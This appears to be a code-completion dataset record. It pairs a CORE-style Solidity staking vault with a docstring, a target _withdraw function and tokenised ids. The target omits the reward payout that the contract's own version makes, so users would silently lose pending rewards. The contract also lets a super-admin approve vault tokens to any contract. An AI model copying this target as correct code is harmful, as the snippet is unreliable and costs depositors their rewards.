function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// dfcore Vault distributes fees equally amongst staked pools
contract dfcoreVault is OwnableUpgradeSafe {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of dfcores
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accdfcorePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws tokens to a pool. Here's what happens:
// 1. The pool's `accdfcorePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. dfcores to distribute per block.
uint256 accdfcorePerShare; // Accumulated dfcores per share, times 1e12. See below.
bool withdrawable; // Is this pool withdrawable?
mapping(address => mapping(address => uint256)) allowance;
}
// The dfcore TOKEN!
INBUNIERC20 public dfcore;
// Dev address.
address public devaddr;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint;
//// pending rewards awaiting anyone to massUpdate
uint256 public pendingRewards;
uint256 public contractStartBlock;
uint256 public epochCalculationStartBlock;
uint256 public cumulativeRewardsSinceStart;
uint256 public rewardsInThisEpoch;
uint public epoch;
// Returns fees generated since start of this contract
function averageFeesPerBlockSinceStart() external view returns (uint averagePerBlock) {
averagePerBlock = cumulativeRewardsSinceStart.add(rewardsInThisEpoch).div(block.number.sub(contractStartBlock));
}
// Returns averge fees in this epoch
function averageFeesPerBlockEpoch() external view returns (uint256 averagePerBlock) {
averagePerBlock = rewardsInThisEpoch.div(block.number.sub(epochCalculationStartBlock));
}
// For easy graphing historical epoch rewards
mapping(uint => uint256) public epochRewards;
//Starts a new calculation epoch
// Because averge since start will not be accurate
function startNewEpoch() public {
require(epochCalculationStartBlock + 50000 < block.number, "New epoch not ready yet"); // About a week
epochRewards[epoch] = rewardsInThisEpoch;
cumulativeRewardsSinceStart = cumulativeRewardsSinceStart.add(rewardsInThisEpoch);
rewardsInThisEpoch = 0;
epochCalculationStartBlock = block.number;
++epoch;
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
event Approval(address indexed owner, address indexed spender, uint256 _pid, uint256 value);
function initialize(
INBUNIERC20 _dfcore,
address _devaddr,
address superAdmin
) public initializer {
OwnableUpgradeSafe.__Ownable_init();
DEV_FEE = 1000;
dfcore = _dfcore;
devaddr = _devaddr;
contractStartBlock = block.number;
_superAdmin = superAdmin;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new token pool. Can only be called by the owner.
// Note contract owner is meant to be a governance contract allowing dfcore governance consensus
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
bool _withdrawable
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token,"Error pool already added");
}
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
token: _token,
allocPoint: _allocPoint,
accdfcorePerShare: 0,
withdrawable : _withdrawable
})
);
}
// Update the given pool's dfcores allocation point. Can only be called by the owner.
// Note contract owner is meant to be a governance contract allowing dfcore governance consensus
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Update the given pool's ability to withdraw tokens
// Note contract owner is meant to be a governance contract allowing dfcore governance consensus
function setPoolWithdrawable(
uint256 _pid,
bool _withdrawable
) public onlyOwner {
poolInfo[_pid].withdrawable = _withdrawable;
}
// Sets the dev fee for this contract
// Note contract owner is meant to be a governance contract allowing dfcore governance consensus
uint16 DEV_FEE;
function setDevFee(uint16 _DEV_FEE) public onlyOwner {
require(_DEV_FEE <= 1000, 'Dev fee clamped at 10%');
DEV_FEE = _DEV_FEE;
}
uint256 pending_DEV_rewards;
// View function to see pending dfcores on frontend.
function pendingDFCORE(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accdfcorePerShare = pool.accdfcorePerShare;
return user.amount.mul(accdfcorePerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
console.log("Mass Updating Pools");
uint256 length = poolInfo.length;
uint allRewards;
for (uint256 pid = 0; pid < length; ++pid) {
allRewards = allRewards.add(updatePool(pid));
}
pendingRewards = pendingRewards.sub(allRewards);
}
// ----
// Function that adds pending rewards, called by the dfcore token.
// ----
uint256 private dfcoreBalance;
function addPendingRewards(uint256 _) public {
uint256 newRewards = dfcore.balanceOf(address(this)).sub(dfcoreBalance);
if(newRewards > 0) {
dfcoreBalance = dfcore.balanceOf(address(this)); // If there is no change the balance didn't change
pendingRewards = pendingRewards.add(newRewards);
rewardsInThisEpoch = rewardsInThisEpoch.add(newRewards);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) internal returns (uint256 dfcoreRewardWhole) {
PoolInfo storage pool = poolInfo[_pid];
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) { // avoids division by 0 errors
return 0;
}
dfcoreRewardWhole = pendingRewards // Multiplies pending rewards by allocation point of this pool and then total allocation
.mul(pool.allocPoint) // getting the percent of total pending rewards this pool should get
.div(totalAllocPoint); // we can do this because pools are only mass updated
uint256 dfcoreRewardFee = dfcoreRewardWhole.mul(DEV_FEE).div(10000);
uint256 dfcoreRewardToDistribute = dfcoreRewardWhole.sub(dfcoreRewardFee);
pending_DEV_rewards = pending_DEV_rewards.add(dfcoreRewardFee);
pool.accdfcorePerShare = pool.accdfcorePerShare.add(
dfcoreRewardToDistribute.mul(1e12).div(tokenSupply)
);
}
// Deposit tokens to dfcoreVault for dfcore allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
massUpdatePools();
// Transfer pending tokens
// to user
updateAndPayOutPending(_pid, pool, user, msg.sender);
//Transfer in the amounts from user
// save gas
if(_amount > 0) {
pool.token.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accdfcorePerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Test coverage
// [x] Does user get the deposited amounts?
// [x] Does user that its deposited for update correcty?
// [x] Does the depositor get their tokens decreased
function depositFor(address depositFor, uint256 _pid, uint256 _amount) public {
// requires no allowances
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][depositFor];
massUpdatePools();
// Transfer pending tokens
// to user
updateAndPayOutPending(_pid, pool, user, depositFor); // Update the balances of person that amount is being deposited for
if(_amount > 0) {
pool.token.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount); // This is depositedFor address
}
user.rewardDebt = user.amount.mul(pool.accdfcorePerShare).div(1e12); /// This is deposited for address
emit Deposit(depositFor, _pid, _amount);
}
// Test coverage
// [x] Does allowance update correctly?
function setAllowanceForPoolToken(address spender, uint256 _pid, uint256 value) public {
PoolInfo storage pool = poolInfo[_pid];
pool.allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, _pid, value);
}
// Test coverage
// [x] Does allowance decrease?
// [x] Do oyu need allowance
// [x] Withdraws to correct address
function withdrawFrom(address owner, uint256 _pid, uint256 _amount) public{
PoolInfo storage pool = poolInfo[_pid];
require(pool.allowance[owner][msg.sender] >= _amount, "withdraw: insufficient allowance");
pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender].sub(_amount);
_withdraw(_pid, _amount, owner, msg.sender);
}
// Withdraw tokens from dfcoreVault.
function withdraw(uint256 _pid, uint256 _amount) public {
_withdraw(_pid, _amount, msg.sender, msg.sender);
}
// Low level withdraw function
function _withdraw(uint256 _pid, uint256 _amount, address from, address to) internal {
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][from];
require(user.amount >= _amount, "withdraw: not good");
massUpdatePools();
updateAndPayOutPending(_pid, pool, user, from); // Update balances of from this is not withdrawal but claiming dfcore farmed
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(address(to), _amount);
}
user.rewardDebt = user.amount.mul(pool.accdfcorePerShare).div(1e12);
emit Withdraw(to, _pid, _amount);
}
function claim(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][msg.sender];
massUpdatePools();
updateAndPayOutPending(_pid, pool, user, msg.sender);
}
function updateAndPayOutPending(uint256 _pid, PoolInfo storage pool, UserInfo storage user, address from) internal {
if(user.amount == 0) return;
uint256 pending = user
.amount
.mul(pool.accdfcorePerShare)
.div(1e12)
.sub(user.rewardDebt);
if(pending > 0) {
safedfcoreTransfer(from, pending);
}
}
// function that lets owner/governance contract
// approve allowance for any token inside this contract
// This means all future UNI like airdrops are covered
// And at the same time allows us to give allowance to strategy contracts.
// Upcoming cYFI etc vaults strategy contracts will se this function to manage and farm yield on value locked
function setStrategyContractOrDistributionContractAllowance(address tokenAddress, uint256 _amount, address contractAddress) public onlySuperAdmin {
require(isContract(contractAddress), "Recipent is not a smart contract, BAD");
require(block.number > contractStartBlock.add(95_000), "Governance setup grace period not over"); // about 2weeks
IERC20(tokenAddress).approve(contractAddress, _amount);
}
function isContract(address addr) public returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
// !Caution this will remove all your pending rewards!
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][msg.sender];
pool.token.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
// No mass update dont update pending rewards
}
// Safe dfcore transfer function, just in case if rounding error causes pool to not have enough dfcores.
function safedfcoreTransfer(address _to, uint256 _amount) internal {
if(_amount == 0) return;
uint256 dfcoreBal = dfcore.balanceOf(address(this));
if (_amount > dfcoreBal) {
console.log("transfering out for to person:", _amount);
console.log("Balance of this address is :", dfcoreBal);
dfcore.transfer(_to, dfcoreBal);
dfcoreBalance = dfcore.balanceOf(address(this));
} else {
dfcore.transfer(_to, _amount);
dfcoreBalance = dfcore.balanceOf(address(this));
}
if(pending_DEV_rewards > 0) {
uint256 devSend = pending_DEV_rewards; // Avoid recursive loop
pending_DEV_rewards = 0;
safedfcoreTransfer(devaddr, devSend);
}
}
// Update dev address by the previous dev.
// Note onlyOwner functions are meant for the governance contract
// allowing dfcore governance token holders to do this functions.
function setDevFeeReciever(address _devaddr) public onlyOwner {
devaddr = _devaddr;
}
address private _superAdmin;
event SuperAdminTransfered(address indexed previousOwner, address indexed newOwner);
/**
* @dev Returns the address of the current super admin
*/
function superAdmin() public view returns (address) {
return _superAdmin;
}
/**
* @dev Throws if called by any account other than the superAdmin
*/
modifier onlySuperAdmin() {
require(_superAdmin == _msgSender(), "Super admin : caller is not super admin.");
_;
}
// Assisns super admint to address 0, making it unreachable forever
function burnSuperAdmin() public virtual onlySuperAdmin {
emit SuperAdminTransfered(_superAdmin, address(0));
_superAdmin = address(0);
}
// Super admin can transfer its powers to another address
function newSuperAdmin(address newOwner) public virtual onlySuperAdmin {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit SuperAdminTransfered(_superAdmin, newOwner);
_superAdmin = newOwner;
}
} | Low level withdraw function | function _withdraw(uint256 _pid, uint256 _amount, address from, address to) internal {
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][from];
require(user.amount >= _amount, "withdraw: not good");
massUpdatePools();
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(address(to), _amount);
}
user.rewardDebt = user.amount.mul(pool.accdfcorePerShare).div(1e12);
emit Withdraw(to, _pid, _amount);
}
| 12,153,297 | [
1,
10520,
1801,
598,
9446,
445,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
